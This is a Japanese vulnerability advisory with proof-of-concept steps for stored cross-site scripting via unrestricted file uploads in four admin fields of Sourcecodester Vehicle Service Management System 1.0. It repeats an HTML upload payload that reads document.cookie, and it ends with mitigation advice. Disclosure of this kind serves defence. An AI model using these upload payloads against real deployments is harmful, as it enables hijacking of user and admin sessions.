CVE-2021-460780
エクスプロイトタイトル: Vehicle Service Management System - '複数の'ファイルアップロードにより格納型クロスサイトスクリプティングが発生する
CVE: CVE-2021-460780
CVSS: 4.8 MEDIUM
参照:
説明:
Sourcecodester Vehicle Service Management System 1.0 には、無制限ファイルアップロードの脆弱性が存在します。リモートの攻撃者は悪意のあるファイルをアップロードでき、格納型クロスサイトスクリプティングの脆弱性を引き起こす可能性があります。
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
エクスプロイト:
- 管理パネル http://localhost/vehicle_service/admin にログインします
- MyAccount セクション http://localhost/vehicle_service/admin/?page=user に移動します
ペイロード:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 上記のHTMLコードを例: XSS.html として保存します
- My Account セクションで必要な詳細をすべて入力し、Avatar で HTML ファイルを選択します
- 更新ボタンをクリックします
- アバター画像を新しいタブで開きます
- 悪意のあるJavaScriptコードが実行されます
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
エクスプロイト:
- 管理パネル http://localhost/vehicle_service/admin にログインします
- User List セクションに移動し、Create New ボタンをクリックします
ペイロード:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 上記のHTMLコードを例: XSS.html として保存します
- Create New User ページで必要な詳細をすべて入力し、Avatar で HTML ファイルを選択します
- Save ボタンをクリックします
- アバター画像を新しいタブで開きます
- 悪意のあるJavaScriptコードが実行されます
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
エクスプロイト:
- 管理パネル http://localhost/vehicle_service/admin にログインします
- Settings セクション http://localhost/vehicle_service/admin/?page=system_info に移動します
ペイロード:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 上記のHTMLコードを例: XSS.html として保存します
- Settings セクションで必要な詳細をすべて入力し、System Logo で HTML ファイルを選択します
- 更新ボタンをクリックします
- System Logo 画像を新しいタブで開きます
- 悪意のあるJavaScriptコードが実行されます
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
エクスプロイト:
- 管理パネル http://localhost/vehicle_service/admin にログインします
- Settings セクション http://localhost/vehicle_service/admin/?page=system_info に移動します
ペイロード:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- 上記のHTMLコードを例: XSS.html として保存します
- Settings セクションで必要な詳細をすべて入力し、Website Cover で HTML ファイルを選択します
- 更新ボタンをクリックします
- Website Cover 画像を新しいタブで開きます
- 悪意のあるJavaScriptコードが実行されます
影響:
攻撃者は複数のエンドポイントで悪意のあるファイルをアップロードでき、格納型クロスサイトスクリプティングを引き起こす可能性があります。
対策:
以下の実装を推奨します:
- ホワイトリストフィルタなしで、ファイル名とその拡張子を直接受け入れないこと。
- Unicode 文字が必要ない場合は、ファイル名と拡張子の入力として英数字とドット1つのみを受け付けることを強く推奨します。
- サービス拒否攻撃を防ぐため、ファイルサイズを最大値に制限すること。
- アップロード先ディレクトリには「実行」権限を付与しないこと。
- クライアントサイドの検証のみに依存しないこと。